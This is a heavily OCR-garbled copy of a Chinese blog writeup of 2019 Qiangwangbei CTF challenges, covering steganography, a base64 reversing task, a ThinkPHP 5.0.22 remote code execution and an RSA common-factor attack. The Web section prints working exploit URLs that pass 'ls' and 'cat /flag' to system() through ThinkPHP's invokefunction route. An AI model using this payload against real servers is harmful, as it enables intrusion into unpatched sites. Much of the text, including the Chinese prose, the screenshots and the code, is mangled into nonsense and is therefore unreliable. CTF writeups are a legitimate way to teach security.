FB=ImmMAF & ESRE R

T19er o F 2019-07-02 18:06:20 & i O 849 ﬁ e 2

SRER: witeup LEFRE:  writeup FEMAE

WA S B . A SONTE R R AISCE, B1E CC 4.0 BY-SA FRAUMMYL, i LR SCH b mA S,
AR https://blog.csdn.net/About23/article/details/94464074

writeu EINFIZAR
53EO0ITH
TSR

Misc

0x01 %5 3]

Heamigth, flag{welcome to qwb 2019}

flag{welcome_to_qwb_2019}
0x02 58 M 56 & 47 Bf

1R T RCTFEA SRR A7
flagiEztgqwxf{)

i i i SRR —ANbmp 3
T E R

<SS



https://blog.csdn.net/About23
https://blog.csdn.net/about23/category_9081162.html
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%25BA%25E7%25BD%2591%25E6%259D%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/About23/article/details/94464074
https://blog.csdn.net/about23/category_9081162.html

N Rcxks o o

B SR8 3 ) 2 % R Stegsolve -t — 3,

BRI RIS, EHENHAH LM,

=]
Extract Preview

sedbedbedbedbedbh 6dbedbedbedbedbe ..m..m.. m..m..m.
Ibedbedbed495a92 bedbedbedbedbédk .m..mIZ. ..m..m..
sdbédbédbédbédbe dbed555béabédbéd m..m..m. .mU[j..m
sedbedbedbedbedh edbedbedbedbeédbeé ..m..m.. m..m..m.
156dbedbedbedbed bédbedbedbeédbédt .m..m..m ..m..m..
dbedbed492408240 24024024024092492 @, .mIS.I 5.I5.1I3.
1024924924924024 9249249249249249  T15.I13.13 .I5.I5.I
2402402492402492 40924924524924024 $.I15.1I5. I$.I5.135
32409249238349549 5392492492492492  ,I15....1 Z.15.15.
1924924924924924 92492492kbedbedbe I5.I5.I5 .IS...m.

Bit Planes

HRBHENRRERE, TRAK K, Kizsteghfh—Aa U RIpngMbmp X EEEEHEK TR, TR %HKzstegitr—
o FRKIT flagF RS, -

s

say chick beautiful?}"

"Uuuuuusvuuuuuuuvuudoyduuduguuao

"VIXD

"\ “DDDDDDDDDDDD*LD"

gwxf{you_say_chick_beautiful?}

Reverse

0x01 3% %% _AD

sty AR

\\de"

EEmaink 3

,E:,l_nuts .plt ta; i

f|_strlen .plt

[F| _strchr .plt puts{"=== Strong Metwork Pioneer === \n\n"};
E___li'hﬂ_nart_l.ain .plt __isoc99_scanf("%s™, &vd5);
[f] —_isoct9_scani .plt = F9537697830302211609LL;
|f] —_gmon_stare__ -plt. = 7OS4AB76941086586983LL ;
_L start . taxt = 79560805061827862375LL
|| sub_400510 . taxt] = 185;

Fd sub_ 400540 . text = 98;

| £ | sub_400580 . text = 189;

_L sub_4005E0 - text = 120;

Fl sub_4005E7 - text — A



2ub_400E1D .text g 23 e ;;-;,
Fi sml:_maz -text g o o = 51
e 10Xt o go| w11 = 118;
S el 6l vi2 = 116;
_term_proc _fini ® 62 vi3 = 89;
e irial ® 63 v14 = 87;
strlen axtal ¥ 64 w15 = 98;
strchr arted ® 63 vib = 184;
__libe_start_sain axter ® 66| vli7 = 9F;
—lsoctt_scanf sxter ® 67| vl18 = 51;
® 63 v19 = B6;
® 69 v20 = 184;
® 70| vl = 97;
® 71 w22 =87;
® 72 w23 = 129;
® 73 w24 = 184;
o 74| vi5 = 97;
® 75 wi6 = BB:

vab = 8vAS;

sub_40@5B7(&v45, ( inted)vd);
for (1 =0; 1 <= 44; ++1 )
{
if ( v4[i] '= (unsigned __ int8)*(&v5 + 1) )
{
puts{"you're not\n");
return BLL;
}
}
puts{"yes, yvou arel\n");
return BLL;

RMXBERMA—ANEL, RES5HEHBILNEOAT R, &H—HRERH.
BB ZMNEE Nsub_4005B7(&v45, (__intB4)v4); i3

Function name Seqn i intéd _ fastcall sub_aBa587(const char *al, __intha a2)
init_proc .iniy 5
b 400410 Ble| 3 dnt ez A7 eax
e Lplt i imt w3 ff eanx
_strlaen .plt 5| dnt Wl Jf eax
_strchr .plt 6 int vS; ff ST1E 4
___libc_start_main -plt Tl dnt v ff eax
i BOCTI_peand -plt B int w7; ff eax
—_EmOn_start__ aplt. 5 int vB; ff eax
prart - Tt 18 int v18; /f [rspellh] [r |
sub_#00510 - texd 11| wnsigned __intB v11; /7 | rbp-9h]
#ub_400540 -text 13| nsigned __intE rbp-3h)
sub_#00880 = taxt 13| int v13; /f |
sub_4005B0 . LRt 14| int v1d; /f
AR AOOTET 5| gnt vaS; A
'ﬁﬁg:;: :::l: 16 int w16 ff [r
sub_ - 17
aain T ol B
init - taxt : :. :I :_ :‘.
ind U a8 vin = s;rlm[ a1);
tera_proc W find & i1 1.l|.ilt{ prage -I='=_I
puts oxie o = t
strlon wzte, 24
strchr axve * 2 LE e
__libe_start_main ozt O wld = w13 ¢ 13
I sxted ® 25| C[_EYTE "Ma2 » v2) = off_800238[(const unsigned _int8)al[via] »» 2];
L w1l = 16 * al[vii] & €x30;
- 27 if (V18 <m v1B + 1)
28 {
® 25 vl ;
L] vaom - 1;
. " *}az = v4) = off_BE1238[v11];
® 32 *{_BYTE *}{v5 » a2} = B1;
vh o= v v l;
wll A H
S{_BYTE *}{vi + aZ) = 61;
break:

X3 A2 X N\ I B0 1T base64 11 %
FRBBBEN T, HERNERASCIRY,

90 109 120 104 90 51 116 116 89 87 90 104 97 51 86 104 97 87 120 104 97 88 70 112 89 87

81 61 61 ¥ HHTH# ¥ /515 2 &base64

ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==

53 107 89 87

57 105 102



EEEy AT

e
T realhiss Aaageandaot)

8 Flflag{mafakuailaigiandaob}

Web

£ BASEEENE

BASES4
LM E TV ha e WichaF 0 DR Y VWERIG




0x01 35 Y 55 - 1 B

W http://117.78.28.89:32736

IR T e R ITER R TR, TR

Index of /1
= i) 117.78.28.89
8B 9
Index of /1
Name Last modified Size Description

J Parent Directory -
@ LICENSE.txt 2019-04-03 15:08 1.8K

(7] README.md ~ 2019-04-03 15:08 5.6K
[?) build.php 2019-04-03 15:08 1.1K
@ composer.json 2019-04-03 15:08 942
[?] composer.lock 2019-04-03 15:08 18K

() extend/ 2019-04-02 20:58 -
(0 public/ 2019-04-03 15:08 -
() runtime/ 2019-04-02 20:58 -
2] think 2019-04-03 15:08 753
() vendor/ 2019-04-02 20:58 -

Apache/2.4.18 (Ubuntu) Server at 117.78.28.89 Port 32736

AiEpublicH] F1X AN —ANFE Fthinkphp5.0. 22 HESE, FREE— TR T HRAEHARRE

| (>0.0<) ||

(B5SH - BYSSIEHELE [ 4 5.0.2209 5 RFFRERAE Smity JESIRENETE |

£ —MRCE®A



BEEEI—PMHFRuntimeBEFEEHE

2019-03-12T23:18:53+08:00 ] 42 236.10. 84 GET 39. 105. 136. 196 8000/ ?s=index \think\app/invokefunctionk
error ] [0lvariable type error: boolean

. 104, 19. 11 get /?s=captcha
[ error 1 [2]system(): Cannot execute a blank command

AT LA 25 1 W1 2 — AN 1R 7E RCE YR TH Think PHP AE 22 B 42
FRETER. #IEAFHKpocH LA

http://117.78.28.89:32736/1/public/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&va
rs[@]=phpinfo&vars[1][]=1
T L3 4Fphpinfo

o > O T el e, AR g e e AL
7N 2 ool | Ok, Jebe gD g e el A 5.k i, fesc
Fo0-cabrncli i, St php 7 g foond d0-stype el, et tphed T O apac hedjconl A0 cur inl,
e b7 s Pon i ool 30-choem i, ot o7 b s cond Tl b, e b T B s e

e T e e

Sevcrphg Tl etiee i Ol o0 oo ind, fetcphnT Otapac e L onl e i, Seiciphey T Qiagaiel
Pty -rabrilring i, felt Py Ty agacihe B ool ATR0-eacrypLind, Aoty .0 apuinchoe 2 foond A0
FrrshLind, fte P DY agacha 2y ol oy P0-poba iy ind, At/ e T O e el con 0-phas nd
e fphgy Ty apachun i onal.30-posi ek, e pbepyT By agpac e fcomal ci0-nmacilo i
T Nt 2 -, T ol o 2T 0 Sl i,
Sl ot ett i, St phes T apthe dit ol 20 syrmgin, sricpheyTOdpethe T
e, fedhgs T 0 apa el ol A-syrit i, deciohe T 0 apsic 2o - lokerien ek,
LA T e i ool 0w, St P gk 2 om0 srmireadiee b, frec/php
Dbk - rbserites bk, ks b7 By sppac e oo did-mllind

PHP AP 2131002

[ — [aes10n

Zand Extesaion s

Zemdd Exteraian Bkl | mevsamsignnTs

T —— | ascwataaTs

r——— ™

Thead sateey dnabied

il Sagrral Hardlng it

Tend Memory blansge rabied

Zand Wsltityte Support et bry mblrieg

WPYS Support et

[OTrace Support rvadlabie, chasbied

:wmm :h—(lrh g, crempresrih, b, e, ghob, data, o, T, phar
Eegictornd Tt fohet Toamports S g, i, ek, 4, th, WD, thew, vl 3
Eagivtarid Shrmien fifters. -IHJ'-‘-I'--l'M"-lewr- iy hobommty, ST g Rigs, CormentL ", Consiasmiod, dothaaril.

comverLicony.®. menypL”, mdeorptt

Lt e e o o o e vandeanoine

FEREA—REARG
RIVEA L

http://117.78.28.89:32736/1/public/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&v
ars[@]=system&vars[1][]=1s%20-1

H 250 B % T &A K Ifag3C

3:32736/1 /public/index. phps/?s = findexMAthink\app/invokefunction

total 20 -rwxrwxrwx 1 root root 1150 Apr 3 15:08 favicon.ico -nwxnwxrwx 1 root root 766 Apr 3 15:08 inde;
15:08 router.php drwxrwxrwx 2 root root 23 Apr 2 20:58 static -rw-r--r-- 1 www-data www-data 27 May 2

http://117.78.28.89:32736/1/public/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&va
rs[@]=system&vars[1][]=1s%20/



FREFREFET, RUTflagxtt

bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

http://117.78.28.89:32736/1/public/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&va
rs[@]=system&vars[1][]=cat%20/flag

W, KI T flag

public/i

i) 117.78.28.89

Crypto
0x01 53 P 5 2 i Bh

THREE, REMBEORSAEHE, WHHE

Hlagmapean ("1 "L "rE") . pead()

from Crypto.Util_ number import getPrime, bytes_to_long
pmgetPrime (1024}

qugerPrime (1024}

emESS3T

n=ptg

mebytes to long (Elagh

cmpon (1, &, 1)

print c,&.n

pugerPrime (1024}

-

neptg

m=bytes to long{™1"®3l)
cmpied (5, 8,00

print c.8,n

XA H Houtputth P Me#8 865537, BRI A A :



n1=1496703005997511495029539987418504705373658788012799054203576520142577934243066251776506325878468586810706678
9475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785
1908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236548659378516535328
7096542347455534823985802155158965016960243942384116069879333811520423814008573868088331343357406024360002850060
0824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007
224239581776975892385364446446185642939137287519945974807727

Nn2=1462466262872582061862237080394863085409468781433833482746287035758279529184492527469025360491953578593420808
1825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466
6574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394543376319276695420
2693587353596448759543398490252996072665548169640400662891792224166614808274187403375697072435747053958984854870
4573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830
444331578674338014080959653201802476516237464651809255679979

AL RBHZE

a, b=b
while b != 0:
temp = a % b
a=2>b
b = temp
return a
nl=14967030059975114950295399 874185047053736587880
n2—le<iectht
print gcdtnl,nzﬂ

582001862237080394863085409468781433833482746287

53q
BEHqE Ep1,p280p1 =n1/q, p1=n1/q.
SERMALT

#!'/usr/bin/env python
# coding=utf-8

import gmpyZ

import binascii

e = gmpy2.mpz(£5537)
nl=149670300599751149502953998741850471
nZ2=1462466262872582061286223708303948&301
gq=gmpyZ.mpz (1612933939000305¢628¢715060
# 1 ER ) L 15 H 515 2g

Pl = gmpy2.mpz (9239284207602845455867¢6!
P2 = gmpy2.mpz (90279376687119715076904.
yEthHg& HHpl,p2, pl = nl/qg, p2 = nl/qg
cl = gmpyZ2.mpz (24832083893 74606182485444;
cZ2 = gmpyZ.mpz (38290600385720427374%9¢¢’
d2 = gmpyZ2.invert (s, (p2-1)* (g-1))

mZ = pow(c2,d2,n2)
mZ hex = hex (m2)
print mZ hex

dl = gmpyZ2.invert (s, (pl-1)*(g-1))
ml = pow(cl,dl,nl)

ml hex = hex(ml)

print ml hex |



#!/usr/bin/env python

coding=utf-8

import gmpy2

import binascii

e = gmpy2.mpz(65537)
Nn1=1496703005997511495029539987418504705373658788012799054203576520142577934243066251776506325878468586810706678
9475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785
1908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236548659378516535328
7096542347455534823985802155158965016960243942384116069879333811520423814008573868088331343357406024360002850060
0824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007
224239581776975892385364446446185642939137287519945974807727
N2=1462466262872582061862237080394863085409468781433833482746287035758279529184492527469025360491953578593420808
1825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466
6574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394543376319276695420
2693587353596448759543398490252996072665548169640400662891792224166614808274187403375697072435747053958984854870
4573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830
444331578674338014080959653201802476516237464651809255679979

g=gmpy2.mpz(1619933939000305668671506023637215354794334895427268993629441308721072255989935162281938776894200236
9523158487695453708997367347807434842269761982030939736358374852350303546277276527797849108232462012283854036516
8604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737)
#HJLBEBHIER2g

pl = gmpy2.mpz(9239284207608845455867687388520543227768879410262265719212617975357648896643963678582104711530144
3362169549898465575056742381428321997570097374526363913597739756884031644135343404225885226264566916462715686341
654211514913366341960827374747754358972050549971216117165750261475461979495685882564817634194301271)

p2 = gmpy2.mpz(9027937668711971507690435781085521234778202240275925463507243878784124558193071692754180056458219
7695494423401147385731042364986596482750220701857807271816829238846312998439918616452075752787878425283820635199
121653984306111110530896331011530772771558835563313746863033189248831495407320154948117671577602867
Y#Hq¥itipl,p2, pl = nl/q, p2 = nl/q

cl = gmpy2.mpz(2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462
8969688390297120993362359762215715646429002408277747191995331240539531579198508382140219349074806334415773162638
5301123251839290498302805215586215426440110812496840409882394669181179895274719423729058132386866663735760469301
5079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257
9432976454614774880868048560183239867969991033855655404965344224063903559879768154507445359497850730090430071594
96929187184338592859040917546122343981520508220332785862546608841127597)

c2 = gmpy2.mpz(3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925
7982243281755944832179388335202200872303034701385259704689155111113203961854825647839754353463544400357769097811
5840763604498640381984064837960963003934889541504572320884363119125214260066760780747995419444723706108061837078
7672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760
8440371497195872696321335951492940674909556448934027087202841797150021492240689288286565153264468817912286380085
72889331511945042911372915003805505412099102954073299010951896955362470)

d2 = gmpy2.invert(e, (p2-1)*(g-1))

m2 = pow(c2,d2,n2)

m2_hex = hex(m2)

print m2_hex

dl = gmpy2.invert(e,(pl-1)*(qg-1))
ml = pow(cl,dl,nl)

ml_hex = hex(ml)

print ml_hex



15 21633 1 5

©0x3131313131313131313131313131313131313131313131313131313131313131
0x666c61677b6951616d517665727951736164513233333333333333333333337d

FEL BB

163 B AFITERAVEEIR, TELEELATHEIR

16 ECAFFRAER, EEIHER (SHFPER)

T O Dt e

NSRS SR B 0] LU 10M
3131313131313131313131313131313131313131313131313131313131313131
666c61677b695f616d5f766572795f7361645f3233333333333333333333337d

16T FAEI6HEE TSR

TTTTTTITIT1111111111111111111 1 Hflag{i am very sad 233333333323}

flag{i_am_very sad 233333333333}
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